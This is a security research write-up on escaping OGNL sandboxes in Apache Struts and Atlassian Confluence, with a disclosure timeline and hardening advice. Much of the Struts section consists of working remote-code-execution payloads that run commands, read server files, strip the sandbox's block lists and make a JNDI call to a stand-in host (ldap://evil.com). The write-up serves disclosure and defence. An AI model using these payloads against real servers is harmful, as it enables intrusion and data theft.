The Long Road of OGNL Protections

OGNL (Object Graph Navigation Language) remains a high-value target in the Java ecosystem due to its deep integration in frameworks like Apache Struts and Atlassian Confluence. Historical exploits trace back to high-profile incidents, including the Equifax breach, and the list of critical vulnerabilities is extensive. Over time, the community has layered mitigations onto the expression language, but each hardening effort often spawns a new wave of research into bypasses.

The sandbox evolution has been well documented. Man Yue Mo's prior analysis provides a solid technical foundation for tracing how protections have changed over the years. By 2020, directly disabling the sandbox had become significantly more resistant to trivial attacks. This prompted a shift in strategy toward abusing the application server's own object management facilities—specifically the Instance Manager—to instantiate arbitrary classes and achieve remote code execution. That line of research, presented at Black Hat 2020, led to a patch from the Apache Struts team that introduced a block list to shut down those particular vectors.

In 2021, however, Chris McCown demonstrated a bypass that circumvented the updated restrictions by leveraging OGNL's Abstract Syntax Tree (AST) maps in combination with the Apache Commons Collections BeanMap class. After that, OGNL research quieted down, until two events in the same week pulled focus back:

  • A colleague found what appeared to be a server-side template injection (SSTI) in a bug bounty program, which turned out to be an OGNL injection and required deeper exploitation help.
  • Tweets claimed that Confluence 7.18.0—the latest version at the time—was immune to RCE exploitation of CVE-2022-26134, despite the vulnerability being assigned a critical severity.

Understanding the OGNL Sandbox

To understand the bypasses, it's essential to recognize how OGNL expressions execute and where the security controls are being applied. OGNL expressions are evaluated in two primary phases: parsing into an AST and then executing the tree. The sandbox typically intercepts during the evaluate phase, checking method calls against a set of allowed or denied classes and packages.

Historically, sandboxes were built on a block list of dangerous packages. However, because Java's standard library alone offers a formidable attack surface, block lists are considered a weaker defense than allow lists. The project shift toward allow lists represented a significant step forward in raising the bar for RCE exploitation.

Even then, the challenge lies in building allow lists that don't break the legitimate functionality of the framework. Most templating engines require a broad range of classes for normal operations, creating gaps that can be abused through clever object graph manipulation. The goal of the research described was not to introduce new OGNL injection points, but to test whether these allow-list styled protections could be bypassed using only class members that remain accessible for normal template processing.

Bypassing Allow Lists: A Case Study

Was this process proof against iterative bypass research? With a fresh interest in OGNL, the first step was to revisit the classes that the sandbox unintentionally exposed. The key realization was that OGNL's fundamental ability to access object properties and call methods through its AST could be chained into a sequence that maps a legitimate expression step into a reflection-based call.

The testing process looked something like:

  1. Start from a class or instance available to the expression without sandbox restrictions.
  2. Use the OGNL AST map manipulation techniques to force a read/write operation on otherwise sensitive instances.
  3. Invoke a method chain that translates the data access into a primitive RCE primitive (like Runtime.exec or defining a class loader).

Traditional block lists rely on identifying dangerous invocation targets by their class/method names, like java.lang.Runtime. A bypass can stem from an argument type confusion, where a method that is allowed (e.g., accepting an Object) is used to pass a ProcessBuilder instance or to trigger a custom serialization method.

The two case studies in the source—the bug bounty SSTI lead and the Confluence version claim—yielded different technical scenarios but shared the central commonality: enabling the sandbox's own configuration to be mutated from within an expression, or stripping the security mechanism from the execution context.

Sandbox Mutation and Return of the AST

One distinctive angle in this research was to focus on the sandbox object itself. Often, the sandbox instance is available or reachable through the OGNL context within an executing expression. If an attacker can invoke a setter or modify a field on the security policy object from inside the expression, they can effectively disable the protection during the same evaluation.

The AST map technique plays a role here. AST maps allow manipulation of object properties through the use of the # contextual variable syntax. In OGNL, expressions have access to a root object and the context map. If the sandbox object is stored in the context (even as a security measure), the expression may be able to use the same OGNL features to reverse or neutralize its restrictions. Once your expression can reference the sandbox's internal fields, the difference between a block list and an allow list blurs—you can simply add the denied class to the list of permitted classes if no immutability constraint is enforced.

Because each framework manages its OGNL sandbox differently, the exact objects and context keys vary between Struts and Confluence. However, the universal principle is that the sandbox must be associated with the OGNL expression evaluation in a way that doesn't expose mutable references to the expression itself. In both demonstrations, the failure to enforce that separation enabled a bypass pattern.

Lessons for Hardening

The key takeaways from this analysis are not about adding more names to a denial list—that approach has repeatedly proven insufficient. Rather, the secure design pattern for any Java templating/SSTI surface is:

  • Use strict allow lists: Only preapproved primitive operations should be callable by expressions. Even still, the allow list must be coupled with static verification that the exposed classes are safe in the context of the entire reachable object graph.
  • Immutable security context: The security mechanism must not be reachable or modifiable from within the expression evaluation. Any setter exposure on the sandbox object is a fatal flaw.
  • Regular auditing of the object graph: Allowing a class to the attacker is not only about direct invocations, but also access through getters that expose underlying dangerous functionality.
  • Expression rewrite or single evaluation enforcement: When double-evaluation of templates is identified (as in Velocity/FreeMarker tag paths), it should be patched to a single compile/evaluate cycle to prevent recursive malicious expressions.

Despite the variety of OGNL bypasses found over the years, the remediation strategy of the frameworks considered here—adding and updating block/allow rules—has only patched specific instances, not underlying design weaknesses. Both open-source projects are encouraged to move beyond list-based approaches to structural sandbox re-architecture that isolates expressions from any class capable of reflection or security manager mutation.

The AST audit: what isSafeExpression actually checks

After the initial fixes for CVE-2022-26134 blocked direct access to Class and ClassLoader properties, the assumption was that isSafeExpression() in Confluence 7.18.0 could not be bypassed. That method doesn’t rely on regex; it parses the OGNL expression into an abstract syntax tree (AST) and recursively inspects each node. The checks are thorough but not exhaustive:

  • ASTStaticField, ASTCtor, and ASTAssign nodes are rejected outright, blocking static field access, constructor calls, and variable assignments.
  • ASTStaticMethod nodes are permitted only if the target class is on a short allow list (e.g., java.io.Serializable, com.atlassian.confluence.util.GeneralUtil).
  • ASTProperty nodes are checked against a block list that, after the first patch, included class, Class, classLoader, and ClassLoader.
  • ASTMethod nodes are checked for getClass and getClassLoader calls.
  • ASTVarRef nodes are blocked if the variable name is in UNSAFE_VARIABLE_NAMES (e.g., #application, #request, #_memberAccess).
  • ASTConst string literals are themselves parsed as OGNL expressions and recursively checked — but only if the literal is a complete, valid expression.

This last point was the key weakness. A string split by concatenation, like "java.lang." + "Runtime", is parsed as an ASTAdd node with two ASTConst children. Each child alone is safe, and neither string is a valid standalone expression, so the recursive parse never sees the dangerous concatenated result.

Bypass via ASTEval

Reviewing the full list of OGNL AST node types turned up ASTEval, which wasn’t handled by containsUnsafeExpression(). An ASTEval node has the form (expr)(root): it parses expr as a new expression and evaluates it with root as the root object. Since the inner expression is a string literal, it passes through the ASTConst checks — but the previous concatenation trick means the actual variable reference inside is never inspected as a whole.

For example, a payload can reference #application by splitting the string into # and application fragments. The resulting AST shows no ASTVarRef node, so access to the application context is allowed.

With ASTEval, arbitrary RCE with echoed output becomes possible by evaluating a fully constructed runtime invocation inside the eval wrapper.

Combining ASTMap, ASTChain, and ASTSequence

Additional bypasses come from abusing ASTMap with the @<class_name>@{} syntax to instantiate a BeanMap — a map that exposes a bean’s getters and setters as entries. Using a BeanMap lets you reach Object.getClass() implicitly by reading the class map entry, sidestepping the ASTCtor and getClass method restrictions.

The remaining obstacle was that ASTAssign is blocked, so you can’t store the map in a variable to call setBean() and then get(). Two other node types solve that:

  • ASTChain ((one).(two)) passes the result of the first evaluation as the root of the second.
  • ASTSequence (one, two) evaluates expressions sequentially against the same root object.

By chaining the map creation into a sequence, the map becomes the root object for subsequent calls. The final payload structure sets the bean and reads a property — in this case, calling setBean() with a crafted object and then get() to reach the desired method. String splitting again defeats the block list on every literal fragment.

One last constraint: the injection point translateVariable() only resolves expressions wrapped in ${...}, so the payload couldn’t contain curly braces at all. OGNL’s built-in handling of unicode escapes (\u0022 etc.) provides a clean way to express braces and continue the payload.

The bypasses were reported to Atlassian’s bug bounty program. Although they weren’t new OGNL injection points but rather sandbox escapes, Atlassian awarded a $3,600 bounty for the findings.

OGNL Injection After the Action: Struts 2 Post-Invocation Context Objects

During a bug bounty engagement, a friend discovered what initially appeared to be a Server-Side Template Injection (%{7*7} => 49) but turned out to be an OGNL injection. Without source code access, it was unclear whether the developers passed untrusted data to an OGNL sink such as ActionSupport.getText() or whether it was one of the known unfixed double-evaluation issues. The application ran the latest Struts version, and standard payloads failed, so a deeper look at the OGNL context was warranted.

Unexpected Objects in the OGNL Context

Listing available objects revealed that the usual Struts OGNL context entries (like the value stack) were absent, while unfamiliar objects appeared. Among them was #request['.freemarker.TemplateModel'], an instance of org.apache.struts2.views.freemarker.ScopesHashModel holding several new objects. One entry under the ognl key exposed an org.apache.struts2.views.jsp.ui.OgnlTool instance whose code called Ognl.getValue(). Because that class belongs to the OGNL library rather than Struts itself, the Struts sandbox (member access policy) never applied. The following payload achieved RCE:


#request[‘.freemarker.TemplateModel’].get(‘ognl’).getWrappedObject().findValue(‘(new freemarker.template.utility.Execute()).exec({“whoami”})’, {})

That was sufficient for the bug to be accepted as RCE. Two questions remained: why the .freemarker.TemplateModel object was available, and whether other RCE paths exist on current Struts releases.

Forcing the Post-Invocation Context

Attackers normally reach OGNL injection points before the action invocation completes and before its Result renders.

Diagram of Struts request handling. It shows how an action is invoked and the different components involved.
https://struts.apache.org/core-developers/attachments/Struts2-Architecture.png

Grepping Struts sources for .freemarker.TemplateModel showed that many new objects enter the request scope during Result preparation, to share with the view layer. Those objects appear only after the ActionInvocation finishes; therefore, finding .freemarker.TemplateModel on the request scope means the injection was evaluated after the Result was already built—likely a double-evaluation in the FreeMarker template rather than in Struts code.

Still, the ongoing ActionInvocation object is accessible through the OGNL context, allowing an attacker to force the Result to be built early. Calling Result’s doExecute() triggers population of the template model. For FreeMarker, ActionInvocation.createResult() creates a FreemarkerResult whose doExecute() invokes createModel() to populate the model.


(#ai=#attr['com.opensymphony.xwork2.ActionContext.actionInvocation'])+ (#ai.setResultCode("success"))+ (#r=#ai.createResult())+ (#r.doExecute("pages/test.ftl",#ai))

That approach requires knowledge of the result code and template path. Alternatively, calling ActionInvocation.invoke() handles everything:


#attr['com.opensymphony.xwork2.ActionContext.actionInvocation'].invoke()

This populates the request and context scopes with the template model no matter where the injection occurs.

Objects Exposed After Invocation

Depending on the view layer, the request scope and value stack gain numerous objects. The most relevant ones follow:

For FreeMarker:

  • .freemarker.Request (freemarker.ext.servlet.HttpRequestHashModel)
  • .freemarker.TemplateModel (org.apache.struts2.views.freemarker.ScopesHashModel)
    • __FreeMarkerServlet.Application__ (freemarker.ext.servlet.ServletContextHashModel)
    • JspTaglibs (freemarker.ext.jsp.TaglibFactory)
    • .freemarker.RequestParameters (freemarker.ext.servlet.HttpRequestParametersHashModel)
    • .freemarker.Request (freemarker.ext.servlet.HttpRequestHashModel)
    • .freemarker.Application (freemarker.ext.servlet.ServletContextHashModel)
    • .freemarker.JspTaglibs (freemarker.ext.jsp.TaglibFactory)
    • ognl (org.apache.struts2.views.jsp.ui.OgnlTool)
    • stack (com.opensymphony.xwork2.ognl.OgnlValueStack)
    • struts (org.apache.struts2.util.StrutsUtil)

For JSPs:

  • com.opensymphony.xwork2.dispatcher.PageContext (PageContextImpl)

For Velocity:

  • .KEY_velocity.struts2.context (StrutsVelocityContext)
    • ognl (org.apache.struts2.views.jsp.ui.OgnlTool)
    • struts (org.apache.struts2.views.velocity.result.VelocityStrutsUtils)

RCE Through FreeMarker ObjectWrapper

FreeMarker’s ObjectWrapper can be obtained several ways, even when FreeMarker is only used internally for JSP tag rendering:

  • Through freemarker.ext.jsp.TaglibFactory.getObjectWrapper(). Direct access to the freemarker.ext.jsp package is blocked, but a BeanMap bypasses it:

(#a=#@org.apache.commons.collections.BeanMap@{ })+ (#a.setBean(#application[".freemarker.JspTaglibs"]))+ (#a['objectWrapper'])
  • Through freemarker.ext.servlet.HttpRequestHashModel.getObjectWrapper():

(#request.get('.freemarker.Request').objectWrapper)
  • Through freemarker.core.Configurable.getObjectWrapper(), again using a BeanMap because freemarker.core is blocklisted:

(#a=#@org.apache.commons.collections.BeanMap@{ })+ (#a.setBean(#application['freemarker.Configuration']))+ #a['objectWrapper']

Three ObjectWrapper methods lead to RCE:

newInstance(class, args)

Instantiates arbitrary types; arguments must be wrapped, but the return value is not. For example, JNDI injection:


objectWrapper.newInstance(@javax.naming.InitialContext@class,null).lookup("ldap://evil.com")

Or, with Spring libs available, a malicious XML config passed to the FileSystemXmlApplicationContext constructor:


objectWrapper.newInstance(@org.springframework.context.support.FileSystemXmlApplicationContext@class,{#request.get('.freemarker.Request').objectWrapper.wrap("URL")})

getStaticModels()

Returns static fields from arbitrary types inside a FreeMarker TemplateModel, requiring unwrapping. Example using the Text4Shell gadget:


objectWrapper.staticModels.get("org.apache.commons.text.lookup.StringLookupFactory").get("INSTANCE").getWrappedObject().scriptStringLookup().lookup("javascript:3+4")

wrapAsAPI()

Wraps any object in a freemarker.ext.beans.BeanModel, giving indirect access to getters and setters that bypass the Struts sandbox:

  • BeanModel.get('field_name') returns a TemplateModel wrapper.
  • BeanModel.get('method_name') returns a SimpleMethodModel or OverloadedMethodsModel.

Then any blocklisted method can be called:


objectWrapper.wrapAsAPI(blocked_object).get(blocked_method)

The result is a TemplateMethodModelEx whose exec() method resides in freemarker.template namespace—blocked in Struts—but the actual implementation is SimpleMethodModel or OverloadedMethodsModel in the non-blocklisted freemarker.ext.beans namespace.


objectWrapper.getStaticModels().get("java.io.File").get("createTempFile").exec({objectWrapper.wrap("PREFIX"), objectWrapper.wrap("SUFFIX")})

The same result comes from calling getAPI() on any freemarker.template.TemplateModelWithAPISupport instance. On the Struts value stack, this lists all available objects:


#request['.freemarker.TemplateModel'].get('stack').getAPI().get("context").getAPI().get("keySet").exec({})

While com.opensymphony.xwork2.util.OgnlContext.keySet() would be directly blocked, Struts sees only allowed calls to TemplateHashModel.get() and TemplateModelWithAPISupport.getAPI().

Reading arbitrary files this way:


(#bw=#request.get('.freemarker.Request').objectWrapper).toString().substring(0,0)+ (#f=#bw.newInstance(@java.io.File@class,{#bw.wrap("C:\\REDACTED\\WEB-INF\\web.xml")}))+ (#p=#bw.wrapAsAPI(#f).get("toPath").exec({}))+ (#ba=#bw.getStaticModels().get("java.nio.file.Files").get("readAllBytes").exec({#bw.wrap(#p)}))+ "----"+ (#b64=#bw.getStaticModels().get("java.util.Base64").get("getEncoder").exec({}).getAPI().get("encodeToString").exec({#bw.wrap(#ba)}))

Listing directory contents:


(#bw=#request.get('.freemarker.Request').objectWrapper).toString().substring(0,0)+ (#dir=#bw.newInstance(@java.io.File@class,{#bw.wrap("C:\\REDACTED\\WEB-INF\\lib")}))+ (#l=#bw.wrapAsAPI(#dir).get("listFiles").exec({}).getWrappedObject())+"---"+ (#l.{#this})

OgnlTool, StrutsUtil, and JspApplicationContextImpl

org.apache.struts2.views.jsp.ui.OgnlTool calls Ognl.getValue() without an OgnlContext; the default one lacks Struts’ extra security checks:


package org.apache.struts2.views.jsp.ui; import ognl.Ognl; import ognl.OgnlException; import com.opensymphony.xwork2.inject.Inject; public class OgnlTool { private OgnlUtil ognlUtil; public OgnlTool() { } @Inject public void setOgnlUtil(OgnlUtil ognlUtil) { this.ognlUtil = ognlUtil; } public Object findValue(String expr, Object context) { try { return Ognl.getValue(ognlUtil.compile(expr), context); } catch (OgnlException e) { return null; } } }

An OgnlTool instance is reachable from FreeMarker or Velocity post-invocation contexts:


#request['.freemarker.TemplateModel'].get('ognl')

#request['.KEY_velocity.struts2.context'].internalGet('ognl')

Unwrapping the FreeMarker template model and using it for RCE:


(#a=#request.get('.freemarker.Request').objectWrapper.unwrap(#request['.freemarker.TemplateModel'].get('ognl'),'org.apache.struts2.views.jsp.ui.OgnlTool'))+ (#a.findValue('(new freemarker.template.utility.Execute()).exec({"whoami"})',null))

Or, with a simpler path:


#request['.freemarker.TemplateModel'].get('ognl').getWrappedObject().findValue('(new freemarker.template.utility.Execute()).exec({"whoami"})',{})

The OgnlTool issue was inadvertently fixed in Struts 6.0.0 via OGNL 3.2.2, which always requires a MemberAccess. Struts 2.5.30 remains vulnerable.

org.apache.struts2.util.StrutsUtil also exposes useful methods:

  • public String include(Object aName) reads arbitrary resources: <struts_utils>.include("/WEB-INF/web.xml")
  • public Object bean(Object aName) instantiates arbitrary types: <struts_utils>.bean("javax.script.ScriptEngineManager")
  • public List makeSelectList(String selectedList, String list, String listKey, String listValue) evaluates listKey and listValue via unsandboxed OgnlTool: <struts_utils>.makeSelectList("#this","{'foo'}","(new freemarker.template.utility.Execute()).exec({'touch /tmp/bbbb'})","")

Velocity-based applications expose VelocityStrutsUtil extending StrutsUtils, adding:

  • public String evaluate(String expression) to run a velocity template string:

(<struts_utils>.evaluate("#set ($cmd='java.lang.Runtime.getRuntime().exec(\"touch /tmp/pwned_velocity\")') $application['org.apache.tomcat.InstanceManager'].newInstance('javax.script.ScriptEngineManager').getEngineByName('js').eval($cmd)"))

Also of interest is org.apache.jasper.runtime.JspApplicationContextImpl, found in the servlet #application. Its getExpressionFactory() gives an ExpressionFactory whose createValueExpression() was previously unusable without an ELContext. With JSP-based views the new #request['com.opensymphony.xwork2.dispatcher.PageContext'] returns a PageContextImpl that provides one:


(#attr['com.opensymphony.xwork2.ActionContext.actionInvocation'].invoke())+ (#ctx=#request['com.opensymphony.xwork2.dispatcher.PageContext'])+ (#jsp=#application['org.apache.jasper.runtime.JspApplicationContextImpl'])+ (#elctx=#jsp.createELContext(#ctx))+ (#jsp.getExpressionFactory().createValueExpression(#elctx, '7*7', @java.lang.Class@class).getValue(#elctx))

The PageContext is not stored in the request directly; it lives in the value stack and becomes reachable via chained lookups. StrutsRequestWrapper.getAttribute() searches the servlet request first and falls back to the value stack, letting #request and #attr expose value-stack objects. Arbitrary OGNL expressions without hashes also execute, e.g., #request["@java.util.HashMap@class"] returns HashMap.class.

Simpler BeanMap Abuse

McOwn’s technique used OGNL’s map notation to instantiate org.apache.commons.collections.BeanMap, then disabled the sandbox before accessing InstanceManager:


(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))

There is a simpler approach using reflection that avoids sandbox removal:


(#c=#@org.apache.commons.beanutils.BeanMap@{})+ (#c.setBean(@Runtime@class))+ (#rt=#c['methods'][6].invoke())+ (#c['methods'][12]).invoke(#rt,'touch /tmp/pwned')

This works on Struts 6 too when BeanClass is present, provided the fully qualified @java.lang.Runtime@class is used.

Disclosure Timeline

These bypasses were reported to the Struts and OGNL security teams on June 9, 2022. On October 7, 2022, the teams replied that updating blocklists is unsustainable and they stopped doing so. Configuring a Java Security Manager protects each OGNL evaluation and is strongly recommended for Struts deployments, though the Security Manager is deprecated in recent JDKs and slated for removal.

Sandboxing OGNL: An uphill battle

Securing an expression language like OGNL by sandboxing is a daunting task. Maintaining an ever-growing blocklist of classes and features is rarely a sustainable strategy. The bypasses examined here illustrate the pitfalls of relying on such controls. Even though these techniques target OGNL specifically, they underscore a broader lesson: scrutinize every layer of a sandbox, and watch for unexpected interactions between its rules.

For those building or auditing similar defenses, a few takeaways stand out. First, it is not enough to block dangerous methods directly—attackers can reach them through indirect paths. Second, features that appear inert on their own can become powerful when combined. Finally, an allowlist approach tends to be more robust than a blocklist, but it still demands constant vigilance against novel gadgets and side effects.

These findings were part of a fundraising effort that collected $5,600, donated to UNHCR to support Ukrainians seeking refuge from the war.